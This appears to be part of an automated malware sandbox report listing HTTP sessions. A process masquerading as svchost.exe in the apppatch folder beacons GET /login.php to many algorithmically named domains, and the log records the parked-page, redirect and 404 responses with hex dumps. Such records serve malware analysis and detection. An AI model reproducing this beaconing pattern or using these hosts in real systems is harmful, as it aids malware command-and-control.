                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    80192.168.2.450169103.150.10.48807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:11.644211054 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyrysor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:12.418361902 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                    Server: openresty/1.15.8.1
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:12 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 151
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: http://106.15.232.163:8000/dh/147287063_377283.html#index8?d=lyrysor.com
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                    Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                                    Nov 11, 2024 18:50:13.199809074 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyrysor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:13.495342016 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                    Server: openresty/1.15.8.1
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:13 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 151
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: http://106.15.232.163:8000/dh/147287063_377283.html#index8?d=lyrysor.com
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                    Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    81192.168.2.450171106.15.232.1638000
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:12.427051067 CET290OUTGET /dh/147287063_377283.html HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: 106.15.232.163:8000
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Nov 11, 2024 18:50:13.198736906 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: openresty/1.21.4.3
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:13 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 561
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                                    Nov 11, 2024 18:50:13.496725082 CET290OUTGET /dh/147287063_377283.html HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: 106.15.232.163:8000
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Nov 11, 2024 18:50:13.761996031 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: openresty/1.21.4.3
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:13 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 561
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    82192.168.2.45017376.223.67.189807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.315222025 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qexyhuv.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.732562065 CET259INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: openresty
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:16 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 114
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    83192.168.2.450174103.224.212.210807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.452289104 CET277OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyxynyx.com
                                                                                                                                                                                                                    Cookie: __tad=1731347316.6624222
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.003654003 CET244INHTTP/1.1 302 Found
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:50:16 GMT
                                                                                                                                                                                                                    server: Apache
                                                                                                                                                                                                                    location: http://ww25.lyxynyx.com/login.php?subid1=20241112-0450-16f3-ae99-53051689f189
                                                                                                                                                                                                                    content-length: 2
                                                                                                                                                                                                                    content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                    connection: close
                                                                                                                                                                                                                    Data Raw: 0a 0a
                                                                                                                                                                                                                    Data Ascii:


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    84192.168.2.450175154.85.183.50807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.469188929 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyval.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.283116102 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:17 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 138
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    ETag: "663ee226-8a"
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    85192.168.2.45017644.221.84.105807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.487591028 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gadyciz.com
                                                                                                                                                                                                                    Cookie: snkz=66.23.206.109; btst=28ebda691eb034d3559cf05f4c55a51f|66.23.206.109|1731347315|1731347315|0|1|0
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.914098024 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:16 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=28ebda691eb034d3559cf05f4c55a51f|66.23.206.109|1731347416|1731347315|50|2|0; path=/; domain=.gadyciz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    86192.168.2.450177103.224.182.252807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.634841919 CET277OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vofycot.com
                                                                                                                                                                                                                    Cookie: __tad=1731347315.6084114
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.178164959 CET242INHTTP/1.1 302 Found
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:50:17 GMT
                                                                                                                                                                                                                    server: Apache
                                                                                                                                                                                                                    location: http://ww16.vofycot.com/login.php?sub1=20241112-0450-17b0-8984-b4b272a22199
                                                                                                                                                                                                                    content-length: 2
                                                                                                                                                                                                                    content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                    connection: close
                                                                                                                                                                                                                    Data Raw: 0a 0a
                                                                                                                                                                                                                    Data Ascii:


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    87192.168.2.450178154.85.183.5080
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.299910069 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyval.com
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.116867065 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:50:17 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 138
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    ETag: "663ee226-8a"
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    88192.168.2.450179199.59.243.227807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.391782045 CET350OUTGET /login.php?subid1=20241112-0450-16f3-ae99-53051689f189 HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: ww25.lyxynyx.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Cookie: __tad=1731347316.6624222
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.819637060 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:50:17 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=utf-8
                                                                                                                                                                                                                    content-length: 1230
                                                                                                                                                                                                                    x-request-id: d64712e7-1afc-445d-9c20-4f69b5a9c725
                                                                                                                                                                                                                    cache-control: no-store, max-age=0
                                                                                                                                                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ynSlaRqUart+cCSPWx6+gR3iUOx4GFvHADV5BtBg7EHCXyDb+sp2PcSgmjAshy8D/8iCykk0gAHVzv44xgPhLg==
                                                                                                                                                                                                                    set-cookie: parking_session=d64712e7-1afc-445d-9c20-4f69b5a9c725; expires=Mon, 11 Nov 2024 18:05:17 GMT; path=/
                                                                                                                                                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 79 6e 53 6c 61 52 71 55 61 72 74 2b 63 43 53 50 57 78 36 2b 67 52 33 69 55 4f 78 34 47 46 76 48 41 44 56 35 42 74 42 67 37 45 48 43 58 79 44 62 2b 73 70 32 50 63 53 67 6d 6a 41 73 68 79 38 44 2f 38 69 43 79 6b 6b 30 67 41 48 56 7a 76 34 34 78 67 50 68 4c 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ynSlaRqUart+cCSPWx6+gR3iUOx4GFvHADV5BtBg7EHCXyDb+sp2PcSgmjAshy8D/8iCykk0gAHVzv44xgPhLg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.819773912 CET664INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                                    Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZDY0NzEyZTctMWFmYy00NDVkLTljMjAtNGY2OWI1YTljNzI1IiwicGFnZV90aW1lIjoxNzMxMzQ3NDE3LCJwYWdlX3VybCI6I


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    89192.168.2.45018064.190.63.136807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.546961069 CET348OUTGET /login.php?sub1=20241112-0450-17b0-8984-b4b272a22199 HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: ww16.vofycot.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Cookie: __tad=1731347315.6084114
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.172086954 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:50:18 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                    transfer-encoding: chunked
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                                    cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                                    pragma: no-cache
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_i27AxBRCzUkSGcxUZ9rbj10iHQOd6uFS8STya0ZLtfLICF4vqqN1rGxkpXm9otRwGQnj0jwMMYha8HtSan/Uaw==
                                                                                                                                                                                                                    last-modified: Mon, 11 Nov 2024 17:50:18 GMT
                                                                                                                                                                                                                    x-cache-miss-from: parking-7596689c44-prw7b
                                                                                                                                                                                                                    server: Parking/1.0
